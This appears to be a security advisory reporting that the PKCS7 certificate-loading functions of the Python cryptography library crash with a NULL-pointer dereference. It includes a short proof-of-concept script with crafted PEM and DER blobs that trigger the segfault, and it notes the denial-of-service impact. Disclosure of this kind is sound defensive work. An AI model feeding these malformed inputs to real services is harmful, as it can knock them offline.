Summary

Calling loadpempkcs7certificates or loadderpkcs7certificates could lead to a NULL-pointer dereference and segfault.

PoC Here is a Python code that triggers the issue: python from cryptography.hazmat.primitives.serialization.pkcs7 import loadderpkcs7certificates, loadpempkcs7certificates

pemp7 = b""" -----BEGIN PKCS7----- MAsGCSqGSIb3DQEHAg== -----END PKCS7----- """

derp7 = b"\x30\x0B\x06\x09\x2A\x86\x48\x86\xF7\x0D\x01\x07\x02"

loadpempkcs7certificates(pemp7) loadderpkcs7certificates(derp7)

Impact Exploitation of this vulnerability poses a serious risk of Denial of Service (DoS) for any application attempting to deserialize a PKCS7 blob/certificate. The consequences extend to potential disruptions in system availability and stability.